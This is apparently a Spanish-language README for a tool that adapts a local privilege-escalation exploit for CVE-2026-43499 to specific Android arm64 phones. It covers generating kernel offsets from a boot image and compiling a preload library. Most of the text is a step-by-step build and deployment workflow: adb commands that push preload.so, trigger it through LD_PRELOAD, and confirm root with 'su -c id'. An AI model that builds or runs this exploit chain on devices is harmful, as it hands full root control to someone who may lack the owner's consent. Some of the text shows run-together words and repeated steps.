
Genera offsets de kernel por dispositivo a partir de boot.img y compila una biblioteca de precarga para explotar la escalada de privilegios local CVE-2026-43499 en Android arm64.
English | 中文
Este es un proyecto de adaptación de escalada de privilegios local para Android arm64 basado en CVE-2026-43499.
El proyecto genera target.h según el boot.img y la información del perfil del dispositivo de destino, y luego compila el correspondiente preload.so.
Nota: Este proyecto es un marco de adaptación genérico, no está vinculado a un modelo específico. La disponibilidad real depende de si
generate_target.pypuede generartarget.hcon éxito y del resultado de las pruebas en el dispositivo real.
directorio_del_proyecto/
├── boot.img # Imagen boot del mismo firmware que el dispositivo de destino
├── profile.json # Perfil del dispositivo de destino
├── detect_offset.py # Se usa para detectar el perfil
├── generate_target.py # Genera target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # Generado automáticamente
└── source/build/bin/
└── preload.so # Artefacto de compilación
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
En Windows se recomienda usar:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
Instale make en MSYS2:
pacman -S make coreutils
Necesita preparar:
boot.img
profile.json
Ejemplo de perfil:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Estas dos direcciones del perfil:
p0_phys_offset
p0_kernel_phys_load
Se pueden obtener ejecutando el script en un teléfono con Root y con el mismo firmware que el boot.img de destino:
python3 detect_offset.py
En Windows también se puede:
python detect_offset.py
Linux / macOS:
cd PATH/project
Ejemplo en Windows MSYS2:
cd PATH/CVE-2026-43499-Poc-Analysis-main
Ejemplo Linux / macOS:
export ANDROID_NDK_HOME=PATH/android-ndk
Ejemplo Windows MSYS2:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
O en CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
Si se indica que no se encuentra llvm-objdump, especifique la ruta manualmente:
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h \
--llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
O en CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Después del éxito verá algo similar a:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
Después del éxito se generará:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell "chmod 0644 /data/local/tmp/preload.so"
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
Verificación:
adb shell "/data/local/tmp/su -c 'id'"
En caso de éxito normalmente verá:
uid=0(root) gid=0(root)
Según su ruta de ejemplo:
cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64
Archivo final:
source/build/bin/preload.so
Instale LLVM, o utilice:
--llvm-objdump "PATH/llvm-objdump"
En Windows, instálelo con MSYS2:
pacman -S make coreutils
Generalmente la ruta del NDK no está configurada correctamente.
Ejemplo en Windows MSYS2:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
Normalmente indica que el boot.img actual o el diseño del kernel aún no se han adaptado correctamente.
Compruebe principalmente:
Si boot.img está completo
Si el perfil es correcto
Si llvm-objdump está disponible
Si el kernel tiene IKCONFIG / kallsyms / BTF
target.h.target.h manualmente; debe generarse automáticamente con generate_target.py.